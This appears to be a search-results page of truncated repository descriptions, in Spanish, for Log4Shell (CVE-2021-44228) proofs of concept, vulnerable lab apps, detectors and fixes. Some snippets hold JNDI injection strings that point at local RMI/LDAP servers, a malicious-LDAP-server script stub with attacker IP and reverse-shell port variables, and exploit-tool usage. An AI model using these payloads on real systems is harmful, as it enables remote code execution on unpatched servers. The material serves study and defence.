34 matches found
CVE-2021-44228-Demo
CVE-2021-44228-Demo Ejemplo de inyección remota de código a través de CVE-2021-44228 utilizando RMI y LDAP. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServer y...
CVE-2021-44228
Comprobador de CVE-2021-44228 Este es el repositorio para comprobar la vulnerabilidad CVE-2021-44228. Esto es una PoC que solo muestra cadenas sin ninguna carga de clase externa. No se puede utilizar para la ejecución arbitraria de código. ¿Cómo funciona? Paso 1: Ejecutar la aplicación del servid...
CVE-2021-44228-PoC
CVE-2021-44228 Log4Shell Prueba de concepto Las funciones JNDI de Apache Log4j2 =2.14.1 utilizadas en la configuración, los mensajes de registro y los parámetros no protegen contra LDAP controlado por el atacante y otros endpoints relacionados con JNDI. Un atacante que pueda controlar los mensaje...
Apache-Log4j-POC
Apache-Log4j-POC CVE-2021-44228 Prueba de concepto de la vulnerabilidad de búsqueda LDAP de Apache Log4j Puedes leer más sobre la vulnerabilidad aquí: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ ¿Cómo ejecutar el servidor ldap proporcionado que devuelve un objeto...
log4j2-CVE-2021-44228
Aplicación vulnerable Log4j2 de muestra CVE-2021-44228 Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.14.1 Esta aplicación se basa en una aplicación web Spring Boot vulnerable a CVE-2021-44228 Utiliza Log4j 2.14.1 a través de spring-boot-starter-log4j2 2.6.1. Ejecutando la...
log4j-cve-2021-44228
Log4j CVE-2021-44228 y CVE-2021-45046 Requisitos Use un JDK vulnerable, por ejemplo JDK 1.8.0181 Uso Servidor malicioso El servidor malicioso despliega los siguientes endpoints: 1389 servidor LDAP 1099 servidor RMI 8081 servidor HTTP ./gradlew :malicious-server:bootRun Aplicación vulnerable La...
CVE-2021-44228-Apache-Log4j
CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.12.1 y desde 2.13.0 hasta 2.15.0 Avisos / Boletines de seguridad vinculados a Log4Shell CVE-2021-44228 Uso: 1. Descargue el proyecto y compile InjectClazz.java download git...
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- Pruebas de penetración 1. Crear un servidor LDAP malicioso usando Marshalsec !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" ech...
test-44228
test-44228 Un ejemplo simple para CVE-2021-44228 Implementa dos CLI de Java, una usando log4j v1.x y la otra usando log4j 2.x para demostrar la vulnerabilidad log4shell. Ver también: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html...
log4j-exploit-fork-bomb
log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: ejemplo de ejecución de una fork bomb en un servidor remoto gracias a la vulnerabilidad CVE-2021-44228 1. Creamos el servidor LDAP del atacante módulo server, que entregará representaciones de cadenas y código módulo payload 2. Creamos un ejemplo...
log4shell-exploitation-lab
Laboratorio de Explotación Log4Shell CVE-2021-44228 Reproduje la vulnerabilidad Log4Shell de principio a fin en un entorno de laboratorio aislado, desde la explotación inicial hasta un informe de remediación completo. Realizado como parte de un trabajo de máster en pareja con Aditya Chaudhari,...
JNDI-Exploit-1.2-log4shell
JNDI-Exploit-1.2-log4shell Detalles : CVE-2021-44228 Uso : java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usage Show usage default: false -h, --help Show this help Basic Payloads :...
log4j-jndi-be-gone
log4j-jndi-be-gone Una corrección basada en agente Java Byte Buddy para CVE-2021-44228, la vulnerabilidad "JNDI LDAP" de log4j 2.x. Hace tres cosas: Deshabilita el manejador de método interno para cadenas de formato jndi: "lookups". Registra un mensaje en System.err es decir, stderr indicando que...
ModSec-log4j2
Probando la regla de ModSec Requisitos previos Tener docker instalado Tener Java instalado en tu máquina Ejecutando la prueba Realizar el git clone del repositorio Ejecutar el siguiente comando para levantar el WAF ModSec y la aplicación vulnerable docker stack deploy -c docker-compose.yml WAF...
detect-log4j-exploitable
CVE-2021-44228 Un atacante que pueda controlar mensajes de registro o parámetros de mensajes de registro puede ejecutar código arbitrario cargado desde servidores LDAP cuando la sustitución de búsqueda de mensajes está habilitada. Este script ayudará a detectar la explotación de log4j a partir de...
CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-
CVE-2026-21011 – Inyección JNDI estilo Log4j en un logger personalizado Simulado Código del programa simulación en Java en Python log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern =...
homelab-CVE-2021-44228
Homelab: Log4Shell CVE-2021-44228 en Apache Solr Entorno controlado en Docker para reproducir y estudiar la vulnerabilidad Log4Shell en Apache Solr. El Entorno Objetivo solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 ejecutando una versión vulnerable de Log4j. Atacante kali-lab: Contenedor Kali...
log4j2-test
Comprobación de la vulnerabilidad de ejecución remota de código LDAP en Log4j2 2.14.1 CVE-2021-44228 🎈 Probado en entorno Spring Boot 2.x Aviso de vulnerabilidad https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml: reduce la versión de Log4j2 a una versión vulnerable 17 2.14.1...
log4shell
Log4Shell Este proyecto es una demostración del funcionamiento de la vulnerabilidad de seguridad log4shell. Esta vulnerabilidad está descrita en la CVE-2021-44228. El proyecto está destinado únicamente a fines educativos. Solo debe utilizarse en su propio sistema y únicamente con fines...
log4j-vul
log4j-vul Este proyecto solo tiene como objetivo mostrar la vulnerabilidad de Apache Log4j2 - también conocida como CVE-2021-44228 Java: java version "1.8.0121" Compilar: from src folder javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java Ejecutar\Corre...